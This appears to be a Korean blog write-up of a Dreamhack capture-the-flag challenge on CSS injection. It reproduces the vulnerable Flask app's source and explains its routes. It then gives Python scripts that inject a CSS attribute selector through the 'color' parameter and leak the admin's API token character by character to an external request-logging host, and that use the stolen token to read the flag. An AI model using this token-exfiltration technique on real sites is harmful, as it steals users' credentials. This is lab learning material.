[2025-08-16] CSS Injection

๐Ÿฆฅ ๋ณธ๋ฌธ

  • main.py
from promise import Promise
from time import sleep

app = Flask(__name__)
app.secret_key = os.urandom(32)

DATABASE = os.environ.get("DATABASE", "database.db")

try:
    FLAG = open("./flag.txt", "r").read().strip()
except:
    FLAG = "[**FLAG**]"

ADMIN_USERNAME = "administrator"
ADMIN_PASSWORD = binascii.hexlify(os.urandom(32))

def execute(query, data=()):
    con = sqlite3.connect(DATABASE)
    cur = con.cursor()
    cur.execute(query, data)
    con.commit()
    data = cur.fetchall()
    con.close()
    return data

def token_generate():
    while True:
        token = "".join(random.choice(string.ascii_lowercase) for _ in range(8))
        token_exists = execute(
            "SELECT * FROM users WHERE token = :token;", {"token": token}
        )
        if not token_exists:
            return token

def login_required(view):
    @wraps(view)
    def wrapped_view(**kwargs):
        if session and session["uid"]:
            return view(**kwargs)
        flash("login first !")
        return redirect(url_for("login"))

    return wrapped_view

def apikey_required(view):
    @wraps(view)
    def wrapped_view(**kwargs):
        apikey = request.headers.get("API-KEY", None)
        token = execute("SELECT * FROM users WHERE token = :token;", {"token": apikey})
        if token:
            request.uid = token[0][0]
            return view(**kwargs)
        return {"code": 401, "message": "Access Denined !"}

    return wrapped_view

@app.teardown_appcontext
def close_connection(exception):
    db = getattr(g, "_database", None)
    if db is not None:
        db.close()

@app.context_processor
def background_color():
    color = request.args.get("color", "white")
    return dict(color=color)

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "GET":
        return render_template("login.html")
    else:
        username = request.form.get("username")
        password = request.form.get("password")
        user = execute(
            "SELECT * FROM users WHERE username = :username and password = :password;",
            {
                "username": username,
                "password": hashlib.sha256(password.encode()).hexdigest(),
            },
        )

        if user:
            session["uid"] = user[0][0]
            session["username"] = user[0][1]
            return redirect(url_for("index"))

        flash("Wrong username or password !")
        return redirect(url_for("login"))

@app.route("/logout")
@login_required
def logout():
    session.clear()
    flash("Logout !")
    return redirect(url_for("index"))

@app.route("/register", methods=["GET", "POST"])
def register():
    if request.method == "GET":
        return render_template("register.html")
    else:
        username = request.form.get("username")
        password = request.form.get("password")

        user = execute(
            "SELECT * FROM users WHERE username = :username;", {"username": username}
        )
        if user:
            flash("Username already exists !")
            return redirect(url_for("register"))

        token = token_generate()
        sql = "INSERT INTO users(username, password, token) VALUES (:username, :password, :token);"
        execute(
            sql,
            {
                "username": username,
                "password": hashlib.sha256(password.encode()).hexdigest(),
                "token": token,
            },
        )
        flash("Register Success.")
        return redirect(url_for("login"))

@app.route("/mypage")
@login_required
def mypage():
    user = execute("SELECT * FROM users WHERE uid = :uid;", {"uid": session["uid"]})
    return render_template("mypage.html", user=user[0])

@app.route("/memo", methods=["GET", "POST"])
@login_required
def memopage():
    if request.method == "GET":
        memos = execute("SELECT * FROM memo WHERE uid = :uid;", {"uid": session["uid"]})
        return render_template("memo.html", memos=memos)
    else:
        memo = request.form.get("memo")
        sql = "INSERT INTO memo(uid, text) VALUES(:uid, :text);"
        execute(sql, {"uid": session["uid"], "text": memo})
    return redirect(url_for("memopage"))

# report
@app.route("/report", methods=["GET", "POST"])
def report():
    if request.method == "POST":
        path = request.form.get("path")
        if not path:
            flash("fail.")
            return redirect(url_for("report"))

        if path and path[0] == "/":
            path = path[1:]

        url = f"http://127.0.0.1:8000/{path}"
        if check_url(url):
            flash("success.")
        else:
            flash("fail.")
        return redirect(url_for("report"))

    elif request.method == "GET":
        return render_template("report.html")

def check_url(url):
    try:
        service = Service(executable_path="/chromedriver-linux64/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)

        driver_promise = Promise(driver.get("http://127.0.0.1:8000/login"))
        driver_promise.then(
            driver.find_element(By.NAME, "username").send_keys(str(ADMIN_USERNAME))
        )
        driver_promise.then(
            driver.find_element(By.NAME, "password").send_keys(ADMIN_PASSWORD.decode())
        )
        driver_promise = Promise(driver.find_element(By.ID, "submit").click())
        sleep(0.1)
        driver_promise.then(driver.get(url))

    except Exception as e:
        driver.quit()
        return False
    finally:
        driver.quit()
    return True
    
    
# API
@app.route("/api/me")
@apikey_required
def APIme():
    user = execute("SELECT * FROM users WHERE uid = :uid;", {"uid": request.uid})
    if user:
        return {"code": 200, "uid": user[0][0], "username": user[0][1]}
    return {"code": 500, "message": "Error !"}

@app.route("/api/memo")
@apikey_required
def APImemo():
    memos = execute("SELECT * FROM memo WHERE uid = :uid;", {"uid": request.uid})
    if memos:
        memo = []
        for tmp in memos:
            memo.append({"idx": tmp[0], "memo": tmp[2]})
        return {"code": 200, "memo": memo}

    return {"code": 500, "message": "Error !"}

# For Challenge
def init():
    execute("DROP TABLE IF EXISTS users;")
    execute(
        """
        CREATE TABLE users (
            uid INTEGER PRIMARY KEY,
            username TEXT NOT NULL UNIQUE,
            password TEXT NOT NULL,
            token TEXT NOT NULL UNIQUE
        );
    """
    )

    execute("DROP TABLE IF EXISTS memo;")
    execute(
        """
        CREATE TABLE memo (
            idx INTEGER PRIMARY KEY,
            uid INTEGER NOT NULL,
            text TEXT NOT NULL
        );
    """
    )

    # Add admin
    execute(
        "INSERT INTO users (username, password, token)"
        "VALUES (:username, :password, :token);",
        {
            "username": ADMIN_USERNAME,
            "password": hashlib.sha256(ADMIN_PASSWORD).hexdigest(),
            "token": token_generate(),
        },
    )

    adminUid = execute(
        "SELECT * FROM users WHERE username = :username;", {"username": ADMIN_USERNAME}
    )

    # Add FLAG
    execute(
        "INSERT INTO memo (uid, text)" "VALUES (:uid, :text);",
        {"uid": adminUid[0][0], "text": "FLAG is " + FLAG},
    )

with app.app_context():
    init()

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8000)

  • excute() : ์ฟผ๋ฆฌ๋ฌธ๊ณผ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ๋ฐ›์•„ DB์—์„œ ๋ฐ์ดํ„ฐ๋ฅผ ๋ฐ›์•„์˜ค๋Š” ๋ฉ”์†Œ๋“œ
  • token_generate() : 8์ž๋ฆฌ ์†Œ๋ฌธ์ž ์•ŒํŒŒ๋ฒณ์œผ๋กœ ๊ตฌ์„ฑ๋œ ๋žœ๋ค ๋ฌธ์ž์—ด์„ ๋งŒ๋“ค๊ณ  ์‚ฌ์šฉ๋œ ์ ์ด ์—†์œผ๋ฉด ํ† ํฐ์„ ๋ฆฌํ„ด
  • login_required() : ์„ธ์…˜๊ณผ ์„ธ์…˜์˜ ์•„์ด๋””๊ฐ€ ์žˆ์œผ๋ฉด ํ†ต๊ณผ. ์•„๋‹ˆ๋ฉด ๋กœ๊ทธ์ธ ํ™”๋ฉด์œผ๋กœ ์ด๋™
  • apikey_required() : ์š”์ฒญ ํ—ค๋”์˜ apikey๋ฅผ ํ†ตํ•ด DB์—์„œ ์‚ฌ์šฉ์ž๋ฅผ ์ฐพ๊ณ  ์š”์ฒญ์˜ uid์™€ ๊ฐ™์œผ๋ฉด ํ†ต๊ณผ
  • @app.teardown_appcontext : ์–ดํ”Œ๋ฆฌ์ผ€์ด์…˜ ์ปจํ…์ŠคํŠธ ์ข…๋ฃŒ ์‹œ ์‹คํ–‰๋˜๋Š” ํ•จ์ˆ˜๋ฅผ ๋“ฑ๋กํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•˜๋Š” ๋ฐ์ฝ”๋ ˆ์ดํ„ฐ
    • close_connection() : DB ์—ฐ๊ฒฐ ๋Š๋Š” ํ•จ์ˆ˜.
  • @app.context_processor : ํ…œํ”Œ๋ฆฟ ๋ Œ๋”๋ง์‹œ ์ž๋™์œผ๋กœ ์ „๋‹ฌํ•  ๊ฐ’์„ ์ง€์ •ํ•˜๋Š” ํ•จ์ˆ˜ ๋“ฑ๋กํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•˜๋Š” ๋ฐ์ฝ”๋ ˆ์ดํ„ฐ
    • background_color() : ์š”์ฒญ์—์„œ color ๊ฐ’์„ ๊ฐ€์ ธ์˜ค๊ณ  ์—†์œผ๋ฉด ๊ธฐ๋ณธ๊ฐ’์ธ white ์‚ฌ์šฉ. color = ์ƒ‰์„ ๋”•์…”๋„ˆ๋ฆฌ๋กœ ๋งŒ๋“ค์–ด์„œ ๋ฆฌํ„ด
  • / : index.html ๋ Œ๋”๋ง
  • /login : username๊ณผ password๋ฅผ ๋ฐ›๊ณ  ์กฐํšŒ. ์„ธ์…˜์— ์•„์ด๋””์™€ username ๋“ฑ๋ก ํ›„ ๋กœ๊ทธ์ธ
  • /logout : ์„ธ์…˜ ์‚ญ์ œ
  • /register : username๊ณผ password๋ฅผ ๋ฐ›๊ณ  ์ด๋ฏธ ์žˆ์œผ๋ฉด ๋“ฑ๋ก ๋ถˆ๊ฐ€. ์—†๋Š” ๊ฒฝ์šฐ ํ† ํฐ์„ ๋งŒ๋“ค๊ณ  ํ•ด๋‹น ๊ฐ’์„ DB์— ์ €์žฅ
  • /mypage : ์„ธ์…˜์˜ uid๋ฅผ ํ†ตํ•ด ์‚ฌ์šฉ์ž๋ฅผ ์ฐพ๊ณ  ํ•ด๋‹น ๊ฐ’์— ๋งž๊ฒŒ mypage ๋ Œ๋”๋ง
    • mypage.html : ์‚ฌ์šฉ์ž์˜ uid, username, token ๊ฐ’์„ input readonly ์— ๋„ฃ์Œ. ๋ฒ„ํŠผ์„ ํด๋ฆญํ•˜๋ฉด ํ† ํฐ ๊ฐ’์„ ๋ณต์‚ฌ
  • /memo : GET ๋ฐฉ์‹์€ ์„ธ์…˜์„ ํ†ตํ•ด ํ•ด๋‹น ๋ฉ”๋ชจ ํŽ˜์ด์ง€๋ฅผ ๋ Œ๋”๋ง. POST ๋ฐฉ์‹์€ ์„ธ์…˜ ID์™€ ์ž…๋ ฅํ•œ ํ…์ŠคํŠธ๋ฅผ ๋ฉ”๋ชจ๋กœ DB์— ์ €์žฅ
  • /report : POST ๋ฐฉ์‹์œผ๋กœ path๋ฅผ ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ ๋ฐ›์Œ. ํ•ด๋‹น path๋กœ check_url() ์‹คํ–‰
  • check_url() : ๊ด€๋ฆฌ์ž ๊ณ„์ •์œผ๋กœ ์›น ๋“œ๋ผ์ด๋ฒ„๋ฅผ ํ†ตํ•ด ๋กœ๊ทธ์ธ
  • /api/me : apikey_required() ๋ฅผ ์‹คํ–‰ ํ›„ ์„ธ์…˜์˜ uid์™€ username์„ ์•Œ๋ ค์คŒ
  • /api/memo : apikey_required() ๋ฅผ ์‹คํ–‰ ํ›„ ์„ธ์…˜์˜ uid๋กœ ๋ฉ”๋ชจ๋ฅผ ๊ฐ€์ ธ์˜ด. ๋ฆฌ์ŠคํŠธ๋กœ ๋งŒ๋“ค์–ด์„œ ์ถœ๋ ฅ
  • Flag ๊ฐ’์€ ๊ด€๋ฆฌ์ž์˜ ๋ฉ”๋ชจ์žฅ์— ์žˆ์Œ

mypage ๋ถ€๋ถ„์—์„œ ํ† ํฐ ๊ฐ’์ด ๋…ธ์ถœ๋œ๋‹ค๋Š” ์ 

check_url์—์„œ ๊ด€๋ฆฌ์ž ๊ณ„์ •์œผ๋กœ ๋กœ๊ทธ์ธํ•œ๋‹ค๋Š” ์ 

color ๊ฐ’์„ ํ†ตํ•ด CSS Injection์„ ํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ์ 

๊ด€๋ฆฌ์ž์˜ uid๊ฐ€ ํ•„์š”. ๊ด€๋ฆฌ์ž์˜ uid๋ฅผ ํ†ตํ•ด ๋ชจ๋“  ๋ฉ”๋ชจ์žฅ์„ ๋ด์•ผ ํ•จ

  1. ๊ด€๋ฆฌ์ž์˜ ์•„์ด๋””์™€ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์•Œ์•„๋‚ด์„œ ๋ฉ”๋ชจํŽ˜์ด์ง€์— ๋“ค์–ด๊ฐ„๋‹ค
  2. ์›น๋“œ๋ผ์ด๋ฒ„์—์„œ /api/memo๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ฆฌ์ŠคํŠธ๋ฅผ ์–ด๋””์— ๊ธฐ๋กํ•œ๋‹ค?
  3. ๊ด€๋ฆฌ์ž์˜ ํ† ํฐ์„ ์•Œ์•„๋‚ด์„œ /api/memo๋ฅผ ์‹คํ–‰ํ•œ๋‹ค โ†’ ๊ดœ์ฐฎ์€ ๋“ฏ

์›น๋“œ๋ผ์ด๋ฒ„๋ฅผ ํ†ตํ•ด mypage ํŽ˜์ด์ง€ ๋ถ€๋ถ„์—์„œ color ๊ฐ’์„ ํ†ตํ•ด ํ† ํฐ์ด ๋งž์„ ๋•Œ ๋งˆ๋‹ค ์Šคํƒ€์ผ์„ ๋ฐ”๊พธ๊ฑฐ๋‚˜ ๊ณต๊ฒฉ์šฉ ์„œ๋ฒ„์— ์‘๋‹ตํ•˜๊ฒŒ ํ•ด์•ผ ํ•จ.

๊ทธ ํ›„ ํ† ํฐ์„ ์•Œ์•„๋‚ด๊ณ  ํ—ค๋”์— API-KEY์— ์ง‘์–ด ๋„ฃ๊ณ  /api/memo๋ฅผ ์‹คํ–‰

์‘๋‹ตํ•˜๊ฒŒ ํ•จ. โ†’ ํ† ํฐ์„ ์•Œ์•„๋‚ผ ์ˆ˜ ์žˆ์Œ

๊ฐœ์ธ์šฉ ์„œ๋ฒ„๊ฐ€ ์—†์–ด์„œ github ๋ธ”๋กœ๊ทธ๋ฅผ ์“ฐ๋ ค๊ณ  ํ–ˆ๋Š” ๋ฐ ์ •์ ์ธ ํŽ˜์ด์ง€๋งŒ ๊ฐ€๋Šฅํ•ด์„œ ๋™์ ์œผ๋กœ 5์ดˆ ๋’ค์— ์‘๋‹ตํ•˜๋Š” ๊ฑด ๋ถˆ๊ฐ€๋Šฅ ํ•˜๋‹ค๊ณ  ํ•œ๋‹ค.

์ด๊ฒŒ ์›ฌ ๊ฑธ ๋“œ๋ฆผํ•ต ํˆด์ฆˆ์—์„œ ์‘๋‹ต์„ ๋ฐ›๊ณ  ๋กœ๊ทธ๋ฅผ ์ฐ๋Š” ๋„๊ตฌ๊ฐ€ ์žˆ์—ˆ๋‹ค.

ํ’€์ด ๊ณผ์ •

  1. ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ฝ”๋“œ๋ฅผ ํ† ํฐ์ด ๋‚˜์˜ฌ ๋•Œ๊นŒ์ง€ ๋ฐ˜๋ณต
import requests, string
 
URL = "http://host1.dreamhack.games:20690/report"
curr= "gsupsof"

 
for token in string.ascii_lowercase: 
    data = {"path":"mypage?color=white;} input[id=InputApitoken][value^="+curr+token+"] {background: url(https://itdkonu.request.dreamhack.games/"+curr+token+");"}
    response = requests.post(URL, data=data)
    print(f"'{token}': Status {response.status_code}")
  1. ํ† ํฐ 8์ž๋ฆฌ๋ฅผ ์•Œ์•„๋‚ด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•˜์—ฌ API-KEY์— ์‹ค์–ด ๋ณด๋‚ด์–ด FLAG๋ฅผ ๋ฐ›์Œ
import requests

API_URL = "http://host1.dreamhack.games:20690/api/memo"
TOKEN   = "gsupsofu"  # ์—ฌ๊ธฐ๋‹ค๊ฐ€ CSS Injection์œผ๋กœ ์ถ”์ถœํ•œ ํ† ํฐ ๋„ฃ๊ธฐ

res = requests.get(API_URL, headers={"API-KEY": TOKEN})
print(res.json())

Categories:

Updated:

Leave a comment